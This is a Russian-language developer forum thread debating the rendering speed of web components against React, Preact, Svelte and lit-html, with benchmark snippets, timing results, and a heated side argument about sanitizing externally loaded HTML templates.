github.com/zakangelle/generator-redux-stack
и поменяйте так что-бы он делал миллион инкрементов (изменений) при нажатии кнопки, никакой особой магии просто иммитация значительной работы в режиме SPA, и вам не нужны будут никакие бенчмарки
1. localvoid.github.io/ivi-examples/benchmarks/dbmon/?m=1
вот код который делает миллион апдейтов на нативе, но его браузерый рантайм оптимизирует и он выполняется за 5-6 секунд сразу показывая финальный результат%)
let data = { foo: 'bar'};
let template = document.importNode(document.getElementById('comp-template').content, true);
let container = document.getElementById('container');
container.appendChild(template);
let dataEl = container.querySelector('#data');
let dataProxy = new Proxy(data, {
set(target, prop, value) {
target[prop] = value;
dataEl.innerHTML = value;
return true;
}
});
(function() {
console.log('starting ..');
var i = 0;
console.log(bench(() => {
dataProxy.foo = ++i;
}, 1000000, [], this)); // 1 million updates == 8.3 secs
})();
То что вы сделали на реакт+рекдакс скорее всего отрабатывало инкремент экшен в редаксе, вызывало синхронный запуск реконсайлера и обновление DOM элемента миллион раз. Не понимаю что вы там пытались протестировать таким образом, не существует реальных юзкэйсов когда нужно обрабатывать много различных редакс экшенов за один фрэйм, такое ощущение что вы не понимаете как используется redux.
Традиционный клиент-сервер юзкэйс когда сервер отправляет снэпшоты данных невозможно решить без дифф алгоритма, тк отсутствуют какие-либо данные о том как нужно переставлять дом элементы чтобы прийти к конечному состоянию. Если будете обновлять с помощью innerHTML, то потеряете внутреннее состояние всех компонентов.
1. github.com/localvoid/uibench-lit-html/blob/0fab2ca944c5dc585bc5c595ff43d7a0f0fc289a/src/main.js
1. github.com/localvoid/uibench-react/blob/master/js/fc.jsx
пусть будет внутреннее состояние элементов: css анимации, позиция скролла, позиция курсора в инпут полях, документ в ифрэйме, медиа элементы и куча других кэйсов.
Во вторых: сделайте, наконец, корректный тест. Отобразите на странице 1000 компонентов, обязательно с одинаковой структурой, созданных с помощью LitElement, React и на чистых компонентах.
https://web-components-eesuvphctg.now.sh
Участвуют vanilla.js, shadow-dom и preact. Vanilla и preact держатся на одном уровне, shadow dom остает. Исходники
<div><span>First Name</span> <span>Second Name</span></div>
и завернуть это в компоненты по стандарту?
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>WC Test</title>
</head>
<script type="module">
class TestElement extends HTMLElement {
constructor() {
super();
this.name = 'John';
this.secondName = 'Snow';
this.attachShadow({
mode: 'open',
});
this.shadowRoot.innerHTML = `
<style>
:host {
display: block;
color: red;
}
</style>
<span>${this.name}</span> <span>${this.secondName}</span>
`;
}
}
window.customElements.define('test-element', TestElement);
</script>
<body>
<script type="module">
let startTime = window.performance.now();
let elemetsTotal = 1000;
for (let i = 0; i < elemetsTotal; i++) {
let tEl = document.createElement('test-element');
document.body.appendChild(tEl);
}
window.requestAnimationFrame(() => {
console.log('Elements total: ' + elemetsTotal + '; Rendering time: ' + (window.performance.now() - startTime) / 1000 + 's');
});
</script>
</body>
</html>
Собрал свое демо на preact, получил 0.108s
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>Preact Test</title>
<script src="https://unpkg.com/htm@2.1.1/preact/standalone.js"></script>
</head>
<style>
.element {
display: block;
color: red;
}
</style>
<script>
const { html, Component } = htmPreact;
class TestElement extends Component {
render() {
return html`
<span class="element">
<span>${this.props.name}</span> <span>${this.props.secondName}</span>
</span>
`;
}
}
function App({ elementsTotal }) {
return html`
<div>
${Array.from(
{ length: elementsTotal },
(_, index) =>
html`
<${TestElement}
key=${index}
name=${"John"}
secondName=${"Snow"}
/>
`
)}
</div>
`;
}
</script>
<body>
<script type="module">
let startTime = window.performance.now();
let elementsTotal = 1000;
htmPreact.render(htmPreact.h(App, { elementsTotal }), document.body);
window.requestAnimationFrame(() => {
console.log(
"Elements total: " +
elementsTotal +
"; Rendering time: " +
(window.performance.now() - startTime) / 1000 +
"s"
);
});
</script>
</body>
</html>
Svelte тут староват конечно. В 3-й версии были сделаны многие улучшения, но в целом сути это не меняет.
<div>
<span>{name}</span> <span>{secondName}</span>
</div>
<script>
let name = 'John', secondName = 'Snow';
</script>
<style>
div { display: block; color: red; }
</style>
# Компонент App
{#each Array.apply(null, { length }) as _}
<Test />
{/each}
<script>
import Test from './Test.svelte';
export let length = 0;
</script>
# main.js
import App from './App.svelte';
const startTime = window.performance.now(),
length = 1000;
const app = new App({
target: document.body,
props: { length }
});
window.requestAnimationFrame(() => {
console.log(`
Elements total: ${length};
Rendering time: ${(window.performance.now() - startTime) / 1000}s
`);
});
export default app;
Запустил эти 3 примера по 5 раз, каждый раз с отчисткой кэша и жесткой перезагрузкой. Машинка Macbook Pro 2015 года. Последний Хром.
В итоге имеем:
# WC
Rendering time: 0.3918650000123307s
Rendering time: 0.42027000000234693s
Rendering time: 0.3281399999978021s
Rendering time: 0.28746000002138317s
Rendering time: 0.36329000000841916s
# Preact
Rendering time: 0.1805400000885129s
Rendering time: 0.19557999994140118s
Rendering time: 0.16606499999761581s
Rendering time: 0.2203999999910593s
Rendering time: 0.18056499992962927s
# Svelte
Rendering time: 0.12924999999813735s
Rendering time: 0.13404000003356487s
Rendering time: 0.12390500004403293s
Rendering time: 0.12220999994315207s
Rendering time: 0.13685499993152916s
Вывод:
Ваш пример не подтверждает ваши же тезисы. Не похоже что веб-компоненты работают быстрее. Из плюсов WC то что в браузер была доставлена лишь html-ка весом 1.3Kb.
В то же время, Preact доставил в браузер 1.7Kb html и 3.8Kb js кода, а Svelte доставил 483B html и 3.9Kb js кода.
вы ведь используете там преобразование строки (да еще и с интерполяцией) с разметкой в dom, а не нейтив темплейты, т.е. замеряете не то.
Я никаких преобразований строк не делаю. Да и непонятно, почему я должен использовать найтив темплейты? И при этом с какого-то перепугу замеряю не то.
Все просто, я взял пример от уважаемого i360u на веб-компонентах и пример от уважаемого justboris на Preact. Пример был придуман не мной, поэтому я действовал в предложенных обстоятельствах и просто реализовал подобную вещь на Svelte. Далее я запустил все 3 примера в абсолютно равных условиях, равное количество раз и опубликовал результаты.
Если у вас есть более «правильный» пример для замеров, то можем и его обсудить.
Кроме, того вы это запускаете в эдже?
В моем комментарии достаточно точно написано на чем я запускаю:
Macbook Pro 2015 года. Последний Хром.
Зачем там мета совместимости?
О чем вы вообще?
а и непонятно, почему я должен использовать найтив темплейты? И при этом с какого-то перепугу замеряю не то.
потому, что нейтив темплейты входят в группу стандартов объединенных термином, веб компоненты, а вы замеряете вставку строки с интерполяцией в dom и называете это веб-компонентами
О чем вы вообще?
строка включает движок эджа, зачем такое в тестах?
потому, что нейтив темплейты входят в группу стандартов объединенных термином, веб компоненты, а вы замеряете вставку строки с интерполяцией в dom и называете это веб-компонентами
В каком именно месте я замеряю вставку строки с интерполяцией в dom? В упор не вижу.
строка включает движок эджа, зачем такое в тестах?
Какая строка? Будьте, пожалуйста, конкретнее. Знаете, но люди не умеют читать ваши мысли.
Какая строка?
http-equiv=«X-UA-Compatible» content=«ie=edge»
весь этот пример основан на записи строки в которую интерполяцией подставляются значения через свойство .innerHTML, т.е. этот тест не проверяет веб-компоненты, а как максимум часть называющуюся Custom Elements, поэтому что если вы откроете любую статью или книгу про веб-компоненты вы там увидите и упоминания Native Templates т.е. шаблонов в теге template клонируемых в dom
http-equiv=«X-UA-Compatible» content=«ie=edge»
В каком месте моего кода вы увидели это метатег?
весь этот пример основан на записи строки в которую интерполяцией подставляются значения через свойство .innerHTML, т.е. этот тест не проверяет веб-компоненты, а как максимум часть называющуюся Custom Elements, поэтому что если вы откроете любую статью или книгу про веб-компоненты вы там увидите и упоминания Native Templates т.е. шаблонов в теге template клонируемых в dom
Ко мне какие претензии? Тут в треде есть уважаный i360u, который судя по его статьям считает себя супер-специалистом по веб-компонентам. Выше он доходчиво объяснял уважаемому justboris почему его тесты не верны, а потом написал свой вариант, который я и использовал.
Вы мне предлагаете тыкать его носом в его же реализацию? Извините, я по-другому воспитан.
Мы уже внезапно и не про SPA оказывается общаемся
веб-компоненты позволяют использовать их и так и этак, поэтому они останутся жить, а фреймворки в которых это надо делать через нахлобучки уже теряют своих поклонников.
<template src="./templates/MyComponent.html"></template>
<script src="./scripts/MyComponent.js"></script>
<style src="./styles/MyComponent.css"></style>
Это считается? Все отдельно, как вы советуете.
gitlab.techminded.net/finistmart/com.finistmart.showcase.portlet/blob/master/src/main/webapp/js/showcase-list.js
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WC Test</title>
</head>
<script type="module">
class TestElement extends HTMLElement {
constructor() {
super();
this.name = 'John';
this.secondName = 'Snow';
this.attachShadow({
mode: 'open',
});
this.shadowRoot.innerHTML = `
<style>
:host {
display: block;
color: red;
}
</style>
`;
const tpl = document.importNode(document.getElementById('tpl'), true);
const nameEl = tpl.content.querySelector('[data-name]'),
secondNameEl = tpl.content.querySelector('[data-secondName]');
nameEl && (nameEl.textContent = this.name);
secondNameEl && (secondNameEl.textContent = this.secondName);
this.shadowRoot.appendChild(tpl.content);
}
}
window.customElements.define('test-element', TestElement);
</script>
<body>
<template id="tpl">
<span data-name></span> <span data-secondName></span>
</template>
<script type="module">
let startTime = window.performance.now();
let elemetsTotal = 1000;
for (let i = 0; i < elemetsTotal; i++) {
let tEl = document.createElement('test-element');
document.body.appendChild(tEl);
}
window.requestAnimationFrame(() => {
console.log('Elements total: ' + elemetsTotal + '; Rendering time: ' + (window.performance.now() - startTime) / 1000 + 's');
});
</script>
</body>
</html>
Добавил ваш любимый нейтив шаблон приходящий с сервера, убрал лишние мета-теги, даже инсершн данных немного оптимизировал через работу с tpl.content до appendChild.
Ну вот не клеется и все тут:
Rendering time: 0.3287799999816343s
Rendering time: 0.3004850000143051s
Rendering time: 0.28391500003635883s
Rendering time: 0.2724150000140071s
Rendering time: 0.3110449999803677s
Даже до Preact недотянули несмотря на пререндер нативного шаблона, клонирование и отсутствием интерполяции. Нишмогла. Языком чесать все горазды.
у меня если по-вашему показывало 0.14-0.17, а когда перенес 0.04-0.07
вот часть кода которая менялась:
for (let i = 0; i < elemetsTotal; i++) {
let tEl = document.createElement('test-element');
document.body.appendChild(tEl);
}
let endTime = (window.performance.now() - startTime) / 1000;
window.requestAnimationFrame(() => {
console.log('Elements total: ' + elemetsTotal + '; Rendering time: ' + endTime + 's');
});
может справедливости ради еще финальный отсчет перенести сразу за окончанием цикла, а не когда вам браузер выделит квант рендер-цикла?
А в чем тут справедливость? Тесты на Preact/Svelte точно также проводились. Только вам нужны какие-то особые условия.
Опять же код самого замера писал не я и использую его как часть ТЗ.
в том что то как вам браузер выделит фрейм зависит от погоды,
Ага, а погода видимо браузеру благоволит стабильно выделять время пораньше для Svelte/Preact, и специально тормозить WC реализацию? Типа такая дискриминация браузером своих же технологий)))
Критиковать и языком чесать все могут. Я взял тест i360u как есть, внес в него те правки, которые вы настаивали дадут мега прерост в скорости. Ничего этого так и не случилось и опять тесты не те. Напишите уже свои кошерные, тогда будем с вашими работать. Не хотите? Тогда может лучше промолчать?
# WC
Rendering time: 0.2290250000078231s
Rendering time: 0.3163700000150129s
Rendering time: 0.18158500001300126s
Rendering time: 0.34167500003241s
Rendering time: 0.22783999994862825s
# Preact
Rendering time: 0.053139999974519014s
Rendering time: 0.0531300000147894s
Rendering time: 0.038730000029318035s
Rendering time: 0.04254000005312264s
Rendering time: 0.04413499997463077s
# Svelte
Rendering time: 0.01980000000912696s
Rendering time: 0.018329999991692603s
Rendering time: 0.012409999966621399s
Rendering time: 0.018340000067837536s
Rendering time: 0.013339999946765602s
Как видите, относительно друг друга замеры никак не изменились.
Причем, не знаю с чем это связанно, но я только заметил, что если в Svelte версии контент появляется фактически мгновенно, то в версии с веб-компонентами я успеваю заметить как это происходит. Раньше может просто не замечал, но думаю это как-то связанно с переходом на шаблоны вместо innerHTML.
Жду от вас очередной версии того, почему данный тест не корректен. Например, может пример с веб-компонентами было бы справедливо запустить на более мощной машине, а остальные 2 примера на более слабой? Думаю это будет справедливо, а главное возможно уровняет их показатели.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lit Test</title>
</head>
<script type="module">
import { html, render } from 'https://cdn.jsdelivr.net/npm/lit-html@1.0.0/lit-html.min.js';
class TestElement extends HTMLElement {
constructor() {
super();
this.name = 'John';
this.secondName = 'Snow';
this.attachShadow({
mode: 'open',
});
const template = () => html`
<style>:host { display: block; color: red; }</style>
<span>${this.name}</span> <span>${this.secondName}</span>
`;
render(template(), this.shadowRoot);
}
}
window.customElements.define('test-element', TestElement);
</script>
<body>
<script type="module">
let startTime = window.performance.now();
let elemetsTotal = 1000;
for (let i = 0; i < elemetsTotal; i++) {
let tEl = document.createElement('test-element');
document.body.appendChild(tEl);
}
console.log('Elements total: ' + elemetsTotal + '; Rendering time: ' + (window.performance.now() - startTime) / 1000 + 's');
</script>
</body>
</html>
В результате даже lit-html обогнал использование нейтив шаблонов путем клонирования:
#lit-html
Rendering time: 0.10135500004980713s
Rendering time: 0.10317500005476177s
Rendering time: 0.08349999994970858s
Rendering time: 0.09340999997220933s
Rendering time: 0.11687499994877726s
# WC (template + importNode)
Rendering time: 0.2290250000078231s
Rendering time: 0.3163700000150129s
Rendering time: 0.18158500001300126s
Rendering time: 0.34167500003241s
Rendering time: 0.22783999994862825s
Воттаквот.
веб-компоненты оказались наравне с реакт-дом, но быстрее реакта с редаксом
Вполне возможно, но ведь это и прискорбно, потому что реакт очень медленный. Поэтому мы в этом треде с ним и не сравнивали.
Вы сравниваете толстенную рантайм-асбтракцию VDOM c нативной реализаций шаблона и радуетесь тому, что, внимание, начальны рендер на равне с ним? Самому то не смешно? VDOM вообще больше про апдейты, а мы их даже не коснулись тут.
а это был не начальный рендер, а 1000 обновлений, а на начальном вебкомпоненты быстрее раза в 3
В наше время быть быстрее реакта — не очень много чести на самом деле. Полагаю, реакт тормознее и Vue и даже Angular. Поэтому мы сравниваем с более релевантными вещами.
Добавляем 1000 элементов на страницу:
WebComponents: ~ 0.05 s
ReactDOM: ~ 0.5 s
т.е. разница на самом деле в 10 раз
Обновляем 1000 раз:
ReactDOM setState(): ~0.38 s
WebComponents .textContent: ~0.37 s
React + Redux: ~2.30 s — утечка памяти оталась (2k обновлений = 500 mb)
bitbucket.org/techminded/js-benchmarks
const tpl = document.importNode(document.getElementById('tpl'), true);
const nameEl = tpl.content.getElementById("firstName"),
secondNameEl = tpl.content.getElementById("lastName");
nameEl && (nameEl.textContent = this.name);
secondNameEl && (secondNameEl.textContent = this.secondName);
this.shadowRoot.appendChild(tpl.content);
Именно это я и назвал:
у вас используется полностью кастомное решение для апдейта. То есть когда вы знаете конкретные селекторы и делаете все руками.
Противопоставляя это обобщенному подходу state-driven фреймворков, когда вы просто делаете:
this.setState({ ... });
И не паритесь над тем, как конкретно обновить DOM.
да нет все стандартное, для просто реакта там обновляется setState'ом, а для редакса взят стандартный генератор.
То что вы не умеете готовить Реакт уже итак понятно.
Я взял реакт, потому что некоторые упирают на его узкозаточенность под производительность.
На его производительность упирали году так в 2013-14 я думаю. Скорее всего по большей части в сравнении с AngularJS или Backbone. Сейчас Реакт самый популярный, но далеко не самый быстрый уже давно.
Да и вообще, не уверен, что вы в курсе, но vdom вообще ни разу не про скорость.
И еще раз подытожу — сравнивать реакт с веб-компонентами это просто глупо.
bitbucket.org/techminded/js-benchmarks/src/master/react-state.html
где он проявил себя на равных с обычной работой с dom кстати, не вижу проблемы в том, что-бы сравнить 2 решения по производительности, цель разобраться в том нужны ли все эти замороченные решения в фреймворках, которые якобы решают какие-то проблемы
да, я использовал ваш код только без ошибки замера, вот вариант как раз с setState
не вижу проблемы в том, что-бы сравнить 2 решения по производительности, цель разобраться в том нужны ли все эти замороченные решения в фреймворках, которые якобы решают какие-то проблемы
Фреймворк фреймворку рознь. Замеры выше показывают это. Но даже не смотря на то, что React показал меньшую производительность на вашем тесте, сравнивать его DX с тем, который дает нам использование DOM API просто глупо. Поэтому все ваше сравнение абсолютно не релевантное. Никто в трезвом уме и твердой памяти не будет всерьез сравнивать дикую императивную лапшу на DOM API с лаконичным декларативным описанием компонент на любом из современных фреймворках.
Тем более, если этот фреймворк, такой как Svelte/Preact/LitHtml еще и делает «лапшу» по скорости.
икто в трезвом уме и твердой памяти не будет всерьез сравнивать дикую императивную лапшу на DOM API с лаконичным декларативным
дело в том что альтернативы, т.е. современные фреймворки сделанны дилетантски и противоречат стандартам веб компонентов, браузеров, инженерным практикам. Вот если бы был хороший фреймворк на веб компонентах, тогда это имело бы смысл, а так современное DOM API если довернуть еще хороших решений-библиотек выглядит предпочтительнее сейчас. Насчет тестов вы наверное правы, надо еще сравнить самому с lithtml и svelte%)
дело в том что альтернативы, т.е. современные фреймворки сделанны дилетантски и противоречат стандартам веб компонентов, браузеров, инженерным практикам.
Это мы уже обсуждали, краткий ликбез: 1) вы из мира Java, пришли во фронтенд со своим уставом; 2) большая часть паттернов создавалась тогда, когда не было ни веб, ни таких rich-интерфейсов как сейчас, поэтому один в один они не ложаться на современную разработку; 3) не нравится вам — пишите свой лапшекод.
Вот если бы был хороший фреймворк на веб компонентах, тогда это имело бы смысл, а так современное DOM API если довернуть еще хороших решений-библиотек выглядит предпочтительнее сейчас.
Чем плох тот же StencilJS? Все как вы любите, классы, наследование, декораторы всякие, компиляция.
Насчет тестов вы наверное правы, надо еще сравнить самому с lithtml и svelte%)
Пожалуйста, весь код представлен в треде.
1) вы из мира Java, пришли во фронтенд со своим уставом; 2) большая часть паттернов
я начинал с пхп и питона и много на чем разрабатывал включая js фреймворки, своя особенная специфика была у разработки на js только язык сам по себе был убог, но сейчас в этом нет необходимости и инженерные практики справедливы также и для разработки фронтенда. Хотя я ссылаюсь на них просто что-бы было понятно, что имею ввиду когда вижу в этих велосипедах школячую анскил долбанину, т.е. когда разработчик начинает экономить на буквах или придумывает какое-то «гениальное решение» на хешмапах (обжектах) или заводит обычай раскладывать все по файлам одинаково названным и экспортить с дефолтом
Чем плох тот же StencilJS?
посмотрел и он конечно получше реакта, хотя всеравно заставляет разработчиков инлайнить верстку в джаваскрипт т.е. jsx и непонятно какие задачи он концептуально решает, которые не решены в веб-компонентах, Prop можно самому за несколько часов написать или подключить.
Хотя я ссылаюсь на них просто что-бы было понятно, что имею ввиду когда вижу в этих велосипедах школячую анскил долбанину,
Ну да, ну да… вы свой код то причесали, чтобы кровь из глаз не шла?
посмотрел и он конечно получше реакта, хотя всеравно заставляет разработчиков инлайнить верстку в джаваскрипт
А вы уверены, что фреймворки этих разработчиков «заставляют»? Не думали, что это требование самих разработчиков?
jsx и непонятно какие задачи он концептуально решает, которые не решены в веб-компонентах,
Вам не понятно, потому что вы не шарите. Также как, я могу сказать, что не понимаю какую проблему решают дженерики в Java и считаю это просто результат плохого дизайна языка.
как быть с потенциальными уязвимостями? вдруг кто-нить трояна в килотонны вермишели засунет?
Кто бы говрил про уязвимости и трояны, ну. Прям дежавю с вашим лапшекодом сразу.
чего бы не было)?
Не было бы вставки в DOM потенциально небезопасного куска кода без экранизации. Потому что по факту мы сейчас воспроизвели работу над фреймворком/либой. Автор условного фреймворка (это вы) написал говнокод с дыркой, а комьюнити (это я) указало ему на это и он его поправил. Поэтому используя готовое решение, вы априори избавлены от многих забот и проблем. Особенно с вашими подходами к написанию кода.
инамиеческий рендеринг был не работал)? это может быть да конечно
В том то и дело, что работал бы. До кучи лучше, быстрее и с меньшим кол-во говнокода.
это специальная фича, что-бы непрограммисты могли изменять внешний вид и конфигурацию самостоятельно
Вау, вот это вы удивили. Какая уникальная фича в 2019 года. А тупо html получаемый из внешнего источника нельзя что ли перед вставкой в DOM как то санитизировать, не? Не слыхали? А может тогда в прекрасном современном коде на основе XMLHttpRequest сделать какую-то проверочку на хост, откуда тащатся замечательные шаблоны, тоже не за чем? Аднимка же, хоть трава не расти. Главное все с ног до головы в паттернах чтобы было, а безопасность и хороший код — это для колхоза.
дыркой
дырка это когда вы не подозреваете о существовании возможности, а когда для этого все и затевали это уже отверстие
может тогда в прекрасном современном коде на основе XMLHttpRequest сделать какую-то проверочку на хост
зачем? хсс для джейсона в современных браузерах не возможен
дырка это когда вы не подозреваете о существовании возможности, а когда для этого все и затевали это уже отверстие
Вы делали дизамическую подгрузку html с сервера чтобы в нее можно было сделать эксплойт? Не, ну тогда все нормально и вопросов нет. Фича есть фича, сорян.
зачем? хсс для джейсона в современных браузерах не возможен
Так то не зачем, я выше понял что это специальная точка эксплойта. Вы ее видимо как-то эксплуатируете, может заказчикам своим такой код отдаете, а потом данные карт юзеров сливаете. Это как предположение конечно.
Вы делали дизамическую подгрузку html с сервера чтобы в нее можно было сделать эксплойт?
нет, с сервера подгружается джейсон с данными (на самом деле сейчас етого может и нет, он локально задается), в другом редакторе задается мапинг его на селекторы, в третьем шаблон
нет, с сервера подгружается джейсон с данными
То есть эксплойт вам там не нужен таки? Вы проде писали что эксплойт это то для чего вы все и затеяли и это не дырка, от специально просверленное отверстие, в которое вы видимо что-то присовывать планируете.
в другом редакторе задается мапинг его на селекторы, в третьем шаблон
Да, капец как удобно, просто сказка и только. Один вопрос, а для этого реально нельзя сделать санитизацию шаблона перед вставкой в DOM?
Вроде и не сложно даже:
import sanitize from 'sanitize-html';
...
let template = sanitize(settings.template);
...
А, блин, тут же никакой паттерн не прикрутишь, а значит это колхоз по-любому.
Раз выходной файл у Svelte — JS, то считается, так оно работает насколько я знаю везде, просто с разным синтаксисом.
Все так конечно. Способ с разделением на файлы больше про читаемость, когда компонент разрастается.
для не SPA это не проблема, что-бы все необходимые темплейты находились в одном хтмл
Очень интересно, я вот пишу сейчас не особо большие проекты, но даже в тех проектах, которые мы пишем, я не могу себе представить, чтобы мне было удобно так делать. Выглядит как какой-то кастыль очередной.
А что делать с переносимостью компонентов? Например, svelte-компоненты мы свободно используем во многих проектах — взял файлик и скопировал, а внутри все что нужно. Вы как это предлагаете делать?
Очень интересно, я вот пишу сейчас не особо большие проекты, но даже в тех проектах, которые мы пишем, я не могу себе представить,
spa это монолит писанный на не самых лучших на сегодня технологиях, огромные заделы разработки в npm присутствуют в виде кривеньких куцых велосипедах как максимум
А что делать с переносимостью компонентов?
гораздо лучше, потому что в фреймворке с инлайновыми шаблонами получается прямое связывание лейаута и выковырять кусок компонентами и перенести в другой модуль выходит сложнее
spa это монолит писанный на не самых лучших на сегодня технологиях, огромные заделы разработки в npm присутствуют в виде кривеньких куцых велосипедах как максимум
Набор общих фраз в вашем стиле. Мы например еще и micro-frontends пишем, благо Svelte благоволит этому и что? Как это соответствует тому, что даже там мы не хотим иметь кучу тегом template в серверном шаблоне? На странице может быть сотни компонентов, зачем нам чтобы наш первичный HTML, который скачивает юзер весил тонну? Пусть каждый компонент подгружается динамически с помощью code-splitting и тащит с собой то, что ему нужно.
гораздо лучше, потому что в фреймворке с инлайновыми шаблонами получается прямое связывание лейаута и выковырять кусок компонентами и перенести в другой модуль выходит сложнее
Любой переиспользуемый код можно просто вынести в отдельный модуль и импортировать где угодно.
В вашем же случае, чтобы перенести весь компонент в другой проект, нужно будет скачать отдельно js, css и потом еще не забыл выбрать нужный template-тег из серверного шаблонизатора. Вот уж переносимость.
На странице может быть сотни компонентов, зачем нам чтобы наш первичный HTML, который скачивает юзер весил тонну?
разные экраны отличаются путем в строке адреса, поэтому грузить вообще все сразу действительно нет необходимости
В вашем же случае, чтобы перенести весь компонент в другой проект, нужно будет скачать отдельно js, css и потом еще не забыл выбрать нужный template-тег
если у вас в одном компоненте все попиленно на подкомпоненты и вы еще например что-то в них там прокидываете то выходит прямое связывание и переносить вы их тоже будете кучкой. А правильное структурирование с разделением по типам позволяет делать различные оптимизации и операции над файлами для каждого типа, ну кроме того что так больше шансов получить правильную подстветку синтаксиса и автодополнения и прочие рефакторинги в среде разработки
разные экраны отличаются путем в строке адреса, поэтому грузить вообще все сразу действительно нет необходимости
Я же вам четко написал, на одной странице (читай одном пути) может быть несколько десятко и даже сотен компонентов. Наиболее тяжелая часть любого почти компонента — это разметка. Вы предлагаете отказаться полностью от благ динамических импортов и code splitting и отстреливать юзеров мегобайтными html-ами прямо с сервера. Вы хоть читаете, что пишете то?
если у вас в одном компоненте все попиленно на подкомпоненты и вы еще например что-то в них там прокидываете то выходит прямое связывание и переносить вы их тоже будете кучкой. А правильное структурирование с разделением по типам позволяет делать различные оптимизации и операции над файлами для каждого типа, ну кроме того что так больше шансов получить правильную подстветку синтаксиса и автодополнения и прочие рефакторинги в среде разработки
Бывает так, но мы делаем умнее. Если подкомпонент — это просто часто родительского компонента, которая выделяет часть логики/представления для удобства, тогда он лежит в папочке родительского компонента и копируется автоматом с ним. Если же внутри компонента используется какой-то переиспользуемый компонент общего назначения, то его лучше прокинуть через пропсы, чтобы иметь возможность не только не тащить в другой проект, но подменять в динамике:
// Parent.svelte
<svelte:component this={Layout}>
<Child />
</svelte:component>
<script>
import Child from './components/Child.svelte'; // относительный путь
export let Layout = null; // сюда передадим нужный лейаут снаружи при инициализации
</script>
Используем:
<Parent Layout={MainLayout} />
<script>
import Parent from '~/components/Parent/';
import MainLayout from '~/layouts/Main';
</script>
Как видите, подкомпонент Child связан с Parent и лежит рядом, а компонент общего плана Layout передается сверху и никак не связан.
как-то слишком много колдовства
Никакого колдовства, на выходе чистейший DOM API. В этом и суть. Я как разработчик хочу писать на высоких уровнях абстракции, а не реализовывать одно и тоже в каждом компоненте.
прямая линковка
Прямая линковка тут только между Parent и Child, но это и правильно, потому что Child это не переиспользуемый компонент, а часть Parent, вынесенная в отдельны компонент только для удобства разрабоки.
Parent ничего не знает о том, какой именно компонент будет передан ему в качестве Layout, а значит у них низкая связанность. Об этом знает только компонент, который инициализирует Parent с нужным значением Layout. Это уже рабочий компонент, специфический для конкретного приложения и не предназначенный для переноса в другое место в принципе.
компоненты могут связываться межу собой только эвентами, так устроен html
хм, а как же слоты? что вообще за зашоренный взгляд?
Таких специалистов давно послали нахер со своими мегапаттернами
нынешних любых фронтендщиков с мегаантипаттернами вообще шлют с такой скоростью, что работа официантом или кассиром выглядит образцом стабильности
Но самый прикол не в этом, а в том что как ты, блин, будешь использовать веб-компоненты в не-SPA? Типа, создашь огромный HTML, поместишь туда все шаблоны,
веб-компоненты никто не запрещает делать в spa, но с серверными технологиями шаблоны относящиеся к определенному роуту будут во вьюхах серверного шаблонизатора, а общие подключатся и переиспользоваться, настоящая чушь это писать целые приложения и системы со всей бизнес-логикой на жаваскрипте, такие приложения никогда не работают нормально, зато жрут кучу ресурсов и тормозят
у фреймворков с инлайновыми шаблонами часто есть заморочь со сложными или множественными лейаутами
У вас просто какая-то своя парадигма мышления. Все эти «заморочи» решаются простой композицией компонентов.
а один вебкомпонент может рендерить как угодно сколько угодно разных шаблонов, как понадобится так и будет, не надо выдумывать никакие стейты
А давайте пример?
Все эти «заморочи» решаются простой композицией компонентов.
не всегда, решается только в простых случаях, когда у вас все приложение как хеловорлд на бутстрапе. А часто бывает так, что побить на куски нецелесообразно, а логика отображения должна быть продвинутая и выходит портянка инлайн вертски в жс на экран или больше.
А давайте пример?
пример нескольких querySelector + document.importNode в одном классе вместо return() или import('Something.svelte') вы вообразить просто такое не можете?
Мне кажется это будет наиболее инженерный подход, чем демагогия, которой мы тут занимаемся.
gitlab.techminded.net/finistmart/com.finistmart.showcase.portlet/blob/master/src/main/webapp/js/showcase-list.js
не знаю зачем вам это надо, когда можно сделать легко самому,
Вы делаете утверждения не подтверденные ничем, кроме вашего бла-бла. Мы же инженеры, как вы сами сказали, а не балаболы. Вот и я вам предлагаю изобразить из себя инженера.
видимо вы хотите воровать
Воровать? А вы в своем уме, уважуемый? Что у вас кто своровал интересно? Мозг если только…
gitlab.techminded.net/finistmart/com.finistmart.showcase.portlet/blob/master/src/main/webapp/js/showcase-list.js
Какой кошмар
gitlab.techminded.net/finistmart/com.finistmart.showcase.portlet/blob/master/src/main/webapp/WEB-INF/views/showCaseView.jsp
там могут некоторые другие шаблоны браться из конфигурации в админке, будьте осторожны;)
там могут некоторые другие шаблоны браться из конфигурации в админке, будьте осторожны;)
Да, переносимость просто супер. Вместо того, чтобы скопировать один файл и не лазать про проекту. Я должен не только изучить весь проект, но еще и по джавоским шаблонам шарахаться. Так сказать, собирать компонент по крупицам. А если я не шарю, что такое jsp, к примеру? Представим что я обычный фронтендер и даже не представляю где там могут в принципе лежать серверные шаблоны.
в целом он мне нравится больше ваших лохмотьев на фреймворке
Вы же из мира Java, вам должны нравится боль и страдания.))) Геттеры-сеттеры небось пишете? ))) Ну и километровые классы с несколькими уровнями наследования и обязательно интерфейсами. Куда уж без них.
А если я не шарю, что такое jsp, к примеру.
фронтенд-программист это немного оксюморон порожденный казуальностью современных технологий джаваскрипта, тот кто морщится изучить немного нормального обычно проглатывает гораздо больше мусора типа «сторов», «рыдусеров», «геттеров-сеттеров (из вуе), „деструктинга“ и всякого такого. Код как у меня вполне понятен любому обычному программисту, все легко находится в проекте поиском хотя он ориентирован прежде всего на то, что-бы быть управляемым и изменяемым в том числе и из админки, хотя там одна-две вьюхи на весь проект, а другие в других модулях-портлетах и веб-компоненты никак не помешают вам структурировать код как угодно, в отличии от популярных фреймворков кстати
Геттеры-сеттеры небось пишете? )))
среда генерирует, лучше джавы по совокупности практически значимых характеристик ничего за последние 10 лет не было, вот если esnext собрать с вебкопонентами и прочими инжекторами уже ближе, но это только для фронта. Нет во фронтенд разработке кроме селекторов цсс и однопоточности ui ничего прямо особенного относительно бека, поэтому никаких специальных и отличных принципов там не надо.
